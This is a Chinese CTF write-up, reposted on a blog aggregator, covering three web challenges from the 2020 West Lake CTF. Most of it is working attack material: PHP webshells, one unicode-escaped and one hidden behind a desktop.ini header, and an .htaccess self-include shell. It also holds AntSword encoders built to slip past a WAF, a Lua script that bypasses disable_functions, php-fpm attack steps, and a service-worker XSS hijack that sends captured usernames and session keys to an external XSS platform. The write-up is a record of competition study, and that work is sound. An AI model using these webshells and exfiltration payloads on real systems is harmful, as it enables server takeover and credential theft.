码迷,mamicode.com
首页 > 其他好文 > 详细

西湖丢脸大赛

时间:2021-01-01 11:58:51      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:数组   ima   编码器   注释   length   href   flag   enc   worker   

西湖挑战杯WEB赛后总结

一、easyjson

技术图片

这是题目一打开的模样,像极了爱情,我感觉我好像又可以了。

wp1:

xff设置ip 获取目录
filename=index.php可过check
关键代码转unicode,然后进行getshell(具体见博客GETshell大法)
{"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"<?\u0070\u0068\u0070\u0020\u0024\u005f\u0047\u0045\u0054\u005b\u0030\u005d\u0028\u0024\u005f\u0047\u0045\u0054\u005b\u0031\u005d\u0029\u003b?>"}

这道题不亏是easyjson,但是这个还有一个解法2

wp2:

通过unciode绕过写入htaccess的自包含木马php_value auto_prepend_fi\le .htaccess#<?php eval($_POST[1])?># \ 然后注释下一行,然后getshell,readflag

这里既然提到了文件包含,就不得不深深地探究一波这个神秘的文件.htaccess详情看另外一篇文章

二、NewUpload

因为我在后续的复现过程中,并没有成功地getshell,所以我就简单利用一下大佬的原话对这里进行回复

换行+一个图片文件头就可以shell,至于怎么蚁剑怎么连上去,自己随便写一个编码器(如下),然后流量倒到burp,全局修改一下ua

技术图片

**
 * php::base64编码器
 * Create at: 2020/10/08 11:54:20
 */

‘use strict‘;

/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例

  // 生成一个随机变量名
  let randomID = `_0x${Math.random().toString(16).substr(2)}`;
  // 原有的 payload 在 data[‘_‘]中
  // 取出来之后,转为 base64 编码并放入 randomID key 下
  data[randomID] = Buffer.from(data[‘_‘]).toString(‘base64‘);

  // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
  data[pwd] = data[randomID];

  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data[‘_‘];
  // 返回编码器处理后的 payload 数组
  return data;
}

然后用蚂蚁进行链接就可以成功地getshell。这里同时我们也可以扩展一下,在我们的实际运用中,也可以将一些编码的函数在php马儿中打出来,这样我们在实际使用这些马儿的时候,将传输的数据进行编码,然后在马儿中进行编码就可以简单地绕过waf。

最后这道题的实际思路如下:

经过百度,宝塔的实际waf是用lua脚本写的,这一点在https://blog.csdn.net/zhuxiongyin/article/details/98174377这个文章中就可以知道,所以我们这个apache环境必定支持lua模块,这样我们就可以很简单地绕过PHP的disfunc的限制和以及open_dir的限制,简单的一个lua脚本即可绕过

exp如下:

AddHandler lua-script .lua
require "string"

--[[
     This is the default method name for Lua handlers, see the optional
     function-name in the LuaMapHandler directive to choose a different
     entry point.
--]]
function handle(r)
    r.content_type = "text/plain"
    r:puts("Hello Lua World!\n")
    local t = io.popen(‘/readflag‘)
    local a = t:read("*all")
    r:puts(a)
    if r.method == ‘GET‘ then
        for k, v in pairs( r:parseargs() ) do
            r:puts( string.format("%s: %s\n", k, v) )
        end
    else
        r:puts("Unsupported HTTP method " .. r.method)
    end
end

当然还有强大的wp2:攻击php-fpm

https://www.yuque.com/docs/share/ecb03c8b-300a-4146-9d30-3ce396a7bb1d?#

https://wulidecade.cn/2020/10/08/2020西湖论剑部分web-wp/#more

下面开始直接打,相关绕过方法,查看其他文档

首先上传shell,先链接蚁剑(可参考Getshell大法文章)

?????? [.ShellClassInfo] LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21770 IconResource=%SystemRoot%\system32\imageres.dll,-112 IconFile=%SystemRoot%\system32\shell32.dll IconIndex=-235
<?php
@eval(urldecode(urldecode(urldecode($_POST[‘aa‘]))));
?>

然后配置对应的编码器

/**
 * php::base64编码器
 * Create at: 2020/10/12 17:16:57
 */

‘use strict‘;

/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例
    function urlencode(e, r) {
            return ++r ? "%" + ([10] + e.charCodeAt().toString(16)).slice(-2) :
            decodeURI(encodeURIComponent(e)).replace(/[^]/g, urlencode)
        }
  // 生成一个随机变量名
  let randomID = `_0x${Math.random().toString(16).substr(2)}`;
  // 原有的 payload 在 data[‘_‘]中
  // 取出来之后,转为 base64 编码并放入 randomID key 下
  data[randomID] = Buffer.from(data[‘_‘]).toString();
  data[pwd]=urlencode(urlencode(data[randomID]));

  // shell 在接收到 payload 后,先处理 pwd 参数下的内容,

  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data[‘_‘];
  delete data[randomID];
  // 返回编码器处理后的 payload 数组
  return data;
}

然后进行链接

技术图片

技术图片

技术图片

现在点击链接就可以连接成功。

再添加这样一条数据

技术图片

注意后面的php文件名,然后我们用刚才第一条数据进行绕过disfunc。(这里省略了一步查找sock,就是做题常识了)。这里我就直接给出来了/tmp/php-cgi-74.sock

如下图配置

技术图片

把地址复制好,然后一直打。我一把嗦了

技术图片

然后打开刚才那个链接,打开虚拟终端,执行命令

技术图片

注意有效期只有一分钟,没有干到时间就要重打,然后就是这里特别容易因为网络原因而打失败,建议大家多打几次,因为环境基本上都是满足的,一般是不应该出现打不通的情况的。

这样就是时间过了

技术图片

三、HardXss

大致理解的原理如下:

观察源代码找到xss注入点,然后引用恶意的js代码进行xss注入,但是这道题的考察点不知道大佬们是怎么直接想到使用windows sever的api的这种骚操作的,我只会说一句,太骚了。

参考链接:https://xz.aliyun.com/t/3228

参考链接:https://120.25.156.28/posts/1.html

大概的概括就是 某个域利用 xxxx/aaa.js 注册了一个service worker之后 xxxx/目录的所有请求 都可以被aaa.js中的代码劫持和控制响应wtf? 还是持久化触发的,注册完以后 注册页面可以关闭。在service worker整个存活期间(很久很久) 页面都一直可以被劫持
但是注册service worker 也有很多苛刻的条件(为了安全)。

条件:

存在有缺陷的 JSONP 接口
JSONP 的目录尽可能浅(最好在根目录下),如果放在域的根目录下,将会收到这个域下的所有fetch事件
JSONP 返回的 Content-Type 必须是 JS 类型
存在 XSS 的页面

JSONP 返回的 Content-Type 必须是 JS 类型可能这是突破口

然后绕过js代码长度限制的方法就是引入外部的js:callback=importScripts(‘//xlcxss.sinaapp.com/xss/sw.js‘);

大致解题流程如下:

1.查看页面源代码,找到题目的突破口

2.本题的思路逻辑是:在登陆界面存在着xss注入,通过在这个界面的document.domain和jsonp来进行跨域操作,来在本地先进行对请求的hook,抓取请求中的账户名和密码(这个题是通过get请求进行验证的),在这里完成payload的构造后,再去向站长提交问题,注意这个URL的正确提交,后面带上callback进行xss注入,然后爆破验证码就可以了,最后查看账号密码进行登陆

3.大骂一下啊,现在网上的alji免费xss平台,做的太拉垮,但是谁叫我没有vps呢?

下面贴上代码,使用的是xs.sb平台

这是操作文件
self.addEventListener(‘fetch‘, function (event) {
        console.log(event.request);
        event.respondWith(
        caches.match(event.request).then(function(res){
        return requestBackend(event);
        })
        )
   });
function requestBackend(event){
        var url = event.request.clone();
        console.log(url);
        return new Response("<script>var a =location.search; a =a.replace(‘?‘,‘‘);a=a.replace(‘&‘,‘‘);var b=a.substring(0,a[‘length‘]/2);var c=a.substring(a[‘length‘]/2,a[‘length‘]);location=‘https://xsshs.cn/xss.php?do=api&id=pNII&uin=‘+b+‘&skey=‘+c;</script>", {headers: { ‘Content-Type‘: ‘text/html‘ }})
}
入口文件
document.domain = "hardxss.xhlj.wetolink.com";
var iff = document.createElement(‘iframe‘);
iff.src = ‘https://auth.hardxss.xhlj.wetolink.com/‘;
iff.addEventListener("load", function(){ iffLoadover(); });
document.body.appendChild(iff);
exp = `navigator.serviceWorker.register("/api/loginStatus?callback=self.importScripts(‘//xs.sb/l6s9‘)//")`;
function iffLoadover(){
    iff.contentWindow.eval(exp);
}

md5爆破文件就不上传了,感谢赵总,爱了爱了

西湖丢脸大赛

标签:数组   ima   编码器   注释   length   href   flag   enc   worker   

原文地址:https://www.cnblogs.com/dem0/p/14198267.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!